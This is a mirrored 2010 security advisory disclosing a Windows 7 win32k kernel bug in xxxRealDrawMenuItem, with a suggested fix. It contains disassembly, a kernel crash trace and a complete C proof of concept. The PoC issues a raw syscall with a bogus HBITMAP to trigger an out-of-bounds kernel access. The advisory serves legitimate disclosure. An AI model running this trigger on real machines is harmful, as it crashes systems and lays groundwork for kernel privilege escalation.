Microsoft Windows – Win32k!xxxRealDrawMenuItem() Missing HBITMAP Bounds Checks

  • 作者: Tavis Ormandy
    日期: 2010-08-17
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/14668/
  • Microsoft Windows win32k!xxxRealDrawMenuItem() missing HBITMAP bounds checks
    ----------------------------------------------------------------------------
    
    Microsoft produce two builds of each of thier supported operating system, a
    checked build and a free build. The free build is intended for end users, and
    the checked build is intended for low-level developers (note: you would know if
    you were using the checked build). The primary difference between the checked
    and free builds are compiler settings more conducive to debugging and
    additional runtime checks intended to identify programming errors in drivers as
    early as possible.
    
    Many of the runtime checks absent from the free build take the form of
    assertions, similar to the standard assert() macro (c programmers will
    recognise this as similar to defining NDEBUG). Most security researchers
    know it's common to find locations in large codebases where developers use an
    assertion to handle error conditions, forgetting that these checks are compiled
    out of production code.
    
    On a hunch, I browsed the assertion strings in the checked build looking for
    anything that could be a bounds check, and found a candidate in win32k.sys
    from Windows 7.
    
    .text:BF8B83D7 loc_BF8B83D7: ; CODE XREF: xxxRealDrawMenuItem(x,x,x,x,x,x)+13Dj
    .text:BF8B83D7 pushoffset asc_BFA98BB0 ; "Assertion failed: (pItem->hbmp >= HBMME"...
    .text:BF8B83DC pushoffset aXxxrealdrawmen ; "xxxRealDrawMenuItem"
    .text:BF8B83E1 push601h; int
    .text:BF8B83E6 pushoffset asc_BFA988EC ; "d:\\w7rtm\\windows\\core\\ntuser\\kernel\\mnd"...
    .text:BF8B83EB push1000000h; int
    .text:BF8B83F0 pushebx ; int
    .text:BF8B83F1 call_VRipOutput
    .text:BF8B83F6 add esp, 18h
    .text:BF8B83F9 testeax, eax
    .text:BF8B83FB jzshort loc_BF8B83FE
    .text:BF8B83FD int 3 ; Trap to Debugger
    
    And additionally,
    
    .text:BF8B83FE loc_BF8B83FE: ; CODE XREF: xxxRealDrawMenuItem(x,x,x,x,x,x)+142j
    .text:BF8B83FE ; xxxRealDrawMenuItem(x,x,x,x,x,x)+168j
    .text:BF8B83FE mov edi, [esi+40h] 
    .text:BF8B8401 add edi, 4Fh
    .text:BF8B8404 cmp edi, 5Dh
    .text:BF8B8407 jbshort loc_BF8B8430
    .text:BF8B8409 pushoffset asc_BFA98B74 ; "Assertion failed: wBmp < OBI_COUNT"
    .text:BF8B840E pushoffset aXxxrealdrawmen ; "xxxRealDrawMenuItem"
    .text:BF8B8413 push604h; int
    .text:BF8B8418 pushoffset asc_BFA988EC ; "d:\\w7rtm\\windows\\core\\ntuser\\kernel\\mnd"...
    .text:BF8B841D push1000000h; int
    .text:BF8B8422 pushebx ; int
    .text:BF8B8423 call_VRipOutput
    .text:BF8B8428 add esp, 18h
    .text:BF8B842B testeax, eax
    .text:BF8B842D jzshort loc_BF8B8430
    .text:BF8B842F int 3 ; Trap to Debugger
    
    With these tests compiled out, you can pass a pathological HBITMAP and it gets
    trusted without validation. The HBITMAP here is used as an index into
    gpsi->oembmi[] (of type tagSERVERINFO in the public symbols, I assume gpsi is
    global pointer to server info).
    
    Reaching this code was non-trivial, but I found a way to trigger it reliably.
    
    kd> .lastevent
    Last event: Access violation - code c0000005 (!!! second chance !!!)
    debugger time: Mon Mar8 23:10:15.892 2010 (GMT+1)
    kd> kv
    ChildEBP RetAddrArgs to Child
    981915f4 92b8d4d4 f10105c8 00000002 0000008c win32k!xxxRealDrawMenuItem+0x130 (FPO: [6,47,4])
    981916a4 92adb609 f10105c8 0110007c 981916ec win32k!xxxDrawState+0x1cd (FPO: [8,33,4])
    98191710 92adbdaf f10105c8 fe607468 00000000 win32k!xxxDrawMenuItem+0x3b4 (FPO: [5,14,4])
    9819177c 92bfb448 f10105c8 00000001 fe607920 win32k!xxxMenuDraw+0x1f9 (FPO: [3,17,4])
    981917d4 92b059b8 00000016 f10105c8 00000003 win32k!xxxMenuBarDraw+0x1b9 (FPO: [4,14,4])
    981917fc 92b3b694 0000100c 00000001 00000000 win32k!xxxDWP_DoNCActivate+0xc7 (FPO: [3,1,4])
    98191878 92b02b92 fe607920 00000086 00000001 win32k!xxxRealDefWindowProc+0x7fa (FPO: [SEH])
    9819189c 92b54859 fe607920 00000086 00000001 win32k!xxxDefWindowProc+0x10f (FPO: [4,0,4])
    981918dc 92b546a4 fe607920 00000086 00000001 win32k!xxxSendMessageTimeout+0x1ac (FPO: [8,7,4])
    98191904 92b1728b fe607920 00000086 00000001 win32k!xxxSendMessage+0x28 (FPO: [4,0,0])
    9819197c 92b095c1 00000000 00000c88 00000001 win32k!xxxActivateThisWindow+0x473 (FPO: [3,21,0])
    981919e4 92b091aa fe607920 fe5ad928 00000000 win32k!xxxSetForegroundWindow2+0x3d7 (FPO: [3,18,4])
    98191a24 92b17770 fe607920 00000001 fe5ad928 win32k!xxxSetForegroundWindow+0x1e4 (FPO: [2,8,4])
    98191a50 92b17537 00000000 00000001 fe600618 win32k!xxxActivateWindow+0x1b3 (FPO: [2,4,4])
    98191a64 92afd9dd fe607920 00000000 fe607920 win32k!xxxSwpActivate+0x44 (FPO: [1,0,0])
    98191abc 92b02c98 00000000 fe607920 00000000 win32k!xxxEndDeferWindowPosEx+0x278 (FPO: [2,16,4])
    98191adc 92b2c50e fe607920 00000000 00000000 win32k!xxxSetWindowPos+0xf6 (FPO: [7,1,4])
    98191b18 92b23b0d 00000000 00000005 0ad06a7a win32k!xxxShowWindow+0x25a (FPO: [2,3,4])
    98191c30 92b210b6 00080000 ff9d1d28 fe607250 win32k!xxxCreateWindowEx+0x12ed (FPO: [SEH])
    98191cf0 8285342a 80080000 98191cc0 98191cb4 win32k!NtUserCreateWindowEx+0x2a8 (FPO: [SEH])
    kd> vertarget
    Windows 7 Kernel Version 7600 MP (1 procs) Free x86 compatible
    Product: WinNt, suite: TerminalServer SingleUserTS
    Built by: 7600.16385.x86fre.win7_rtm.090713-1255
    Machine Name:
    Kernel base = 0x82810000 PsLoadedModuleList = 0x82958810
    Debug session time: Mon Mar8 23:10:12.438 2010 (GMT+1)
    System Uptime: 0 days 0:04:07.341
    
    Interestingly, the win32 api required to reach the code (SetMenuItemInfo)
    interferes and rejects my call, so I must make the system call directly. This
    is complicated, as Microsoft provide no stub export in ntdll, so I have to
    invoke it manually. Maybe there's a cleaner way.
    
    Because of the additional information compiled into the assertion, I have lots
    of data about the failing code, including the variable names and filename.
    Therefore, I know the correct fix is to verify (pItem->hbmp >=
    HBMMENU_POPUPFIRST) && (pItem->hbmp <= HBMMENU_POPUPLAST) before line 1537 of
    \w7rtm\windows\core\ntuser\kernel\mndraw.c :-)
    
    I suspect there may be more assertions that should be checked, but haven't
    looked at them all.
    
    --------------------
    Affected Software
    ------------------------
    
    At least Microsoft Windows 7 is affected.
    
    --------------------
    Consequences
    -----------------------
    
    An unprivileged user may be able to execute arbitrary kernel code, perhaps
    escaping protected mode, or becoming an Administrator, for example.
    
    Example code to trigger this vulnerability is available below.
    
    #ifndef WIN32_NO_STATUS
    # define WIN32_NO_STATUS// I prefer working with ntstatus.h
    #endif
    #include <windows.h>
    #include <assert.h>
    #include <stdio.h>
    #include <winerror.h>
    #include <winternl.h>
    #include <stddef.h>
    #include <winnt.h>
    #include <uxtheme.h>
    #ifdef WIN32_NO_STATUS
    # undef WIN32_NO_STATUS
    #endif
    #include <ntstatus.h>
    
    #pragma comment(lib, "GDI32")
    #pragma comment(lib, "USER32")
    #pragma comment(lib, "UXTHEME")
    
    #ifndef MFS_CACHEDBMP
    # define MFS_CACHEDBMP 0x20000000L
    #endif
    
    // Linux style :-)
    //
    // kd> dds win32k!W32pServiceTable + ((0x1256 - 0x1000) * 4) L1
    // 92c9595892b2d294 win32k!NtUserThunkedMenuItemInfo
    //
    #define __NR_NtUserThunkedMenuItemInfo 0x1256
    
    // Quick utility routine to execute a systemcall with the specified argument list.
    NTSTATUS SystemCall(DWORD Number, PVOID Args, ...)
    {
    NTSTATUS Status;
    
    __try {
    __asm {
    mov eax, Number
    lea edx, Args
    int 0x2e
    mov Status, eax
    }
    } __except(EXCEPTION_EXECUTE_HANDLER) {
    return GetExceptionCode();
    }
    return Status;
    }
    
    // kd> lm mwin32k
    // startendmodule
    // 92a90000 92cda000 win32k
    // kd> dt tagSERVERINFO oembmi
    // win32k!tagSERVERINFO
    // +0x970 oembmi : [93] tagOEMBITMAPINFO
    // kd> dt tagOEMBITMAPINFO
    // win32k!tagOEMBITMAPINFO
    // +0x000 x: Int4B
    // +0x004 y: Int4B
    // +0x008 cx : Int4B
    // +0x00c cy : Int4B
    
    int main(int argc, char **argv)
    {
    MENUITEMINFO MenuItemInfo = { sizeof MenuItemInfo };
    WNDCLASS Class = {0};
    HMENU Menu;
    BITMAPINFO Bitmap;
    
    Menu= CreateMenu();
    Class.lpfnWndProc = DefWindowProc;
    Class.lpszClassName = "Class";
    MenuItemInfo.fMask= MIIM_BITMAP | MIIM_STATE;
    MenuItemInfo.fState = MFS_CACHEDBMP;
    MenuItemInfo.hbmpItem = (HBITMAP) 0x12345678;
    
    // Register Window Class
    RegisterClass(&Class);
    
    // Possibly disable themes for current session
    if (IsThemeActive()) {
    EnableTheming(FALSE);
    }
    
    // This should work, but some ring3 code interferes.
    // SetMenuItemInfo(Menu, 1, TRUE, &MenuItemInfo);
    
    // Call NtUserThunkedMenuItemInfo() directly instead.
    SystemCall(__NR_NtUserThunkedMenuItemInfo, Menu, 1, TRUE, TRUE, &MenuItemInfo, NULL);
    
    // Trigger the bug
    CreateWindowEx(WS_EX_LAYERED, "Class", "Window", WS_VISIBLE, 0, 0, 32, 32, NULL, Menu, NULL, NULL);
    
    return 0;
    }
    
    -------------------
    Credit
    -----------------------
    
    This bug was discovered by Tavis Ormandy.
    
    -------------------
    Greetz
    -----------------------
    
    $1$90AiGoxp$wyzZGQ6owkRG6OxPErj6M/
    $1$7.qXQkxE$5Zc1zQndJpGdoe1RF4Br1.
    $1$IPYBMipO$/HhHCPgulV/E0pgSvU1710
    $1$ULymMO9x$NVMLjZe8i25ajEfnsRowA.
    $1$8a/c6DLm$JDAFGdhEzIj2DR7RYC2gi.
    
    And all the other elite people I've worked with (sorry, too many to generate!).
    
    -------------------
    Notes
    -----------------------
    
    Approximate time to fix was 150 days.
    
    -------------------
    References
    -----------------------
    
    - http://msdn.microsoft.com/en-us/library/ms648001%28VS.85%29.aspx
    SetMenuItemInfo Function